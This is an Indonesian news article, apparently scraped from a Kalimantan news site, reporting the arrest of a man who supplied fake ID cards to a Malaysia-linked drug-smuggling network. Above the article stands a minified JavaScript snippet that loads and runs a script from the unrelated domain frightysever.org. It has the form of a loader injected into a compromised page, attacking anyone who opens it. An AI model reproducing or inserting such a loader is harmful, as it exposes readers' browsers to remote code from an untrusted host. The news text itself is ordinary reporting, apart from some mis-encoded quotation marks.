(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Si Pembuat KTP Palsu dan Jaringan Sindikat Malaysia
Tertangkapnya para pelaku jaringan Pekanbaru-Banjarmasin seperti halnya Dian dan Hasan membuat Ditresnarkoba Polda Kalsel berhasil mengembangkan kasus lebih jauh. Hingga akhirnya dapat meringkus tersangka penyedia KTP palsu, yaitu Muhammad Hertoni alias Toni, warga Jalan Veteran, Kecamatan Banjarmasin Timur Kota Banjarmasin.
Toni diketahui merupakan Jaringan Sindikat Narkoba Internasional dari Malaysia ke Kalsel (jalur Riau, Padang, Palembang, Lampung dan Surabaya).
Direktur Reserse Narkoba Polda Kalsel Kombes Muhammad Firman menjelaskan, pelaku Toni selama ini berperan sebagai spesialis penyedia pembuat KTP palsu dalam mengatur masuknya narkoba ke wilayah Kalimantan Selatan.
“Modus operandinya sangat terorganisir. Yaitu ada yang berperan sebagai koodinator lapangan, kapten lapangan, pelaksana lapangan, pengawas lapangan dan penyedia akomodasi berupa KTP untuk mempermudah akses selama di perjalanan,†ungkapnya.
Toni tertangkap tangan pada akhir Agustus lalu, tepatnya Senin (27/8) di Jalan Sultan Adam Kelurahan Surgi Mufti Kecamatan Banjarmasin Utara ketika sedang membawa satu paket besar sabu dengan berat kotor 17,8 gram yang saat itu dipegang menggunakan tangan dan 0,79 di kantong celana depan.
Dijelaskan juga, para pelaku selama ini membawa Sabu dan ekstasi selalu berkelompok. Mereka mengemas Narkoba tersebut menggunakan bungkus abon ikan patin, lalu membawanya melalui transportasi darat, laut atau udara. Narkoba tersebut didapat dari daerah Pekanbaru, Provinsi Riau, menggunakan sistem komunikasi secara terputus.
“Para pelaku juga tidak pernah bertemu dan mengenal dengan ‘Big Bos’-nya. Sedangkan yang dikenal oleh para pelaku hanya nama samaran saja yaitu Sugali, Bang Botak, dan Kang Tato,†jelas Kombes Muhammad Firman.
Dari pembuatan KTP Palsu, Toni telah memasukan Narkoba ke wilayah Kasel dan berhasil diungkap Ditresnarkoba Polda Kalsel sebanyak 6 Kasus. Kasus Dian dan Hasan menjadi kasus yang terakhir.
Tangan-tangan jaringan kelompok Hertoni alias Toni, “gurita†narkoba Kalsel, telah berhasil diputus secara total. Kapolda Kalsel Irjen Yazid Fanani mengatakan kemungkinan akan terbentuk jaringan baru dengan modus yang lain namun pihaknya akan terus mengungkap jaringan di atasnya.
“Ditresnarkoba Polda Kalsel akan tetap berusaha mengungkap jaringan di atas pelaku,†pungkasnya. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
This website uses cookies.